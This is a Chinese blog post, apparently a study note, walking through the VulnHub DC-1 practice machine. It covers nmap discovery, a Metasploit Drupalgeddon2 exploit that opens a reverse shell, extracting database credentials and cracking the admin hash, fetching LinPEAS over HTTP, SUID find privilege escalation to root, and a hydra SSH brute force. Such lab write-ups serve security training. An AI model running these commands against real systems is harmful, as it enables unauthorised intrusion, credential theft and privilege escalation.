CYBER//BLOG · TERMINAL v2.0 [ SYSTEM ONLINE ] --:--:--

VulnHub DC-1 靶机渗透测试笔记

🛡️ VulnHub DC-1 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-1
  • 靶机来源:VulnHub
  • 目标:获取所有 flag,最终提权至 root
  • 难度:⭐⭐☆☆☆(入门级)
  • 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破

🔍 一、信息收集

1.1 主机发现

先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机:

nmap -sn 192.168.67.0/24

扫描结果中发现目标 IP 为 192.168.67.131

1.2 端口与服务扫描

对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息:

nmap -A -T4 192.168.67.131
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7
111/tcp open  rpcbind 2-4 (RPC #100000)

扫描结果分析:

端口 服务 关键信息
22 SSH OpenSSH 6.0p1,版本较老
80 HTTP Drupal 7,Apache 2.2.22
111 RPC 基本无利用价值

💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。


💥 二、漏洞利用

2.1 搜索 Drupal 漏洞

使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞:

searchsploit drupal 7

发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。

2.2 使用 Metasploit 利用漏洞

启动 Metasploit 框架:

msfconsole

搜索并加载 Drupalgeddon2 模块:

search Drupalgeddon
use exploit/unix/webapp/drupal_drupalgeddon2

查看模块参数配置(Required: yes 为必填项):

show options

配置目标和本机 IP:

set RHOSTS 192.168.67.131
set LHOST 192.168.67.128
set LPORT 4444

执行攻击:

run

成功获取 Meterpreter shell,进入交互式终端:

shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看当前权限:

whoami   # www-data
id
uname -a # Linux DC-1 3.2.0-6-486

⚠️ 当前为 www-data 权限,需要进一步提权。


🚩 三、寻找 Flag

3.1 Flag 1

查看当前目录文件,发现 flag1.txt

Every good CMS needs a config file - and so do you.

💡 提示:去找 CMS 的配置文件。

3.2 Flag 2 —— 数据库配置文件

Drupal 的配置文件路径为:

cat /var/www/drupal/sites/default/settings.php

在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2

数据库凭据:dbuser / R0ck3t

尝试用 Navicat 外连失败(目标不允许外部连接):

改为在 shell 中本地连接 MySQL:

mysql -udbuser -pR0ck3t

查看数据库,进入 drupaldb

show databases;
use drupaldb;
show tables;

查看 users 表结构:

desc users;

提取用户名和密码 hash:

select name,pass from users;

3.3 破解管理员密码

密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解:

破解结果:

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t

🔑 管理员账号:admin / 53cr3t

3.4 Flag 3 —— Drupal 后台

使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login

在后台内容中发现 Flag 3

💡 提示:去找 /etc/passwd 文件。

3.5 Flag 4 —— 系统用户信息

在 MSF shell 中查看 /etc/passwd

发现系统存在 flag4 用户:

flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

进入 /home/flag4 目录,查看 flag4 内容:

cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

💡 提示:在 root 目录中还有最终 flag,需要提权。


⬆️ 四、权限提升

4.1 信息收集

笔记里的提权方式有很多

查看内核版本:

尝试使用 MSF 自动检测提权方案:

run post/multi/recon/local_exploit_suggester

未找到可用的提权建议,换手动方式。

4.2 使用 LinPEAS 自动枚举

靶机无法访问外网,通过 Kali 中转传输文件。

在 Kali 上开启 HTTP 服务:

python3 -m http.server 8888

在靶机 shell 中下载 linpeas.sh:

wget http://192.168.67.128:8888/linpeas.sh

确认下载成功后执行:

chmod +x linpeas.sh
./linpeas.sh

LinPEAS 输出结果中发现 find 命令具有 SUID 权限:

4.3 SUID 提权(find 命令)

访问 GTFOBins 查询 find 的 SUID 利用方式:

执行提权命令(注意需要使用 -p 参数保留 SUID 权限):

find . -exec /bin/bash -p \; -quit

成功获取 root 权限,找到最终 flag:

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

🔑 五、扩展:SSH 爆破登录

除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。

使用 hydra 爆破 SSH(用的是john的字典):

hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131

成功获取密码:flag4 / orange

ssh flag4@192.168.67.131
# 密码:orange

💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。


📋 六、渗透流程总结

信息收集(nmap)
    ↓
发现 Drupal 7 → Drupalgeddon2(CVE-2018-7600)
    ↓
Metasploit 获取 www-data shell
    ↓
读取 settings.php → 数据库凭据 → 破解管理员 hash
    ↓
登录 Drupal 后台 → Flag 3
    ↓
查看 /etc/passwd → 发现 flag4 用户
    ↓
LinPEAS 枚举 → 发现 find SUID
    ↓
SUID find 提权 → root → 最终 Flag ✅

🛠️ 七、涉及工具汇总

工具 用途
nmap 端口扫描、服务识别
searchsploit 本地漏洞库搜索
Metasploit 漏洞利用框架
MySQL CLI 数据库查询
LinPEAS Linux 提权信息收集
GTFOBins SUID/sudo 利用查询
Hydra SSH 密码爆破
hashes.com 在线 hash 破解

📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。

posted @ 2026-03-05 18:22  wrold  阅读(1)  评论(0)    收藏  举报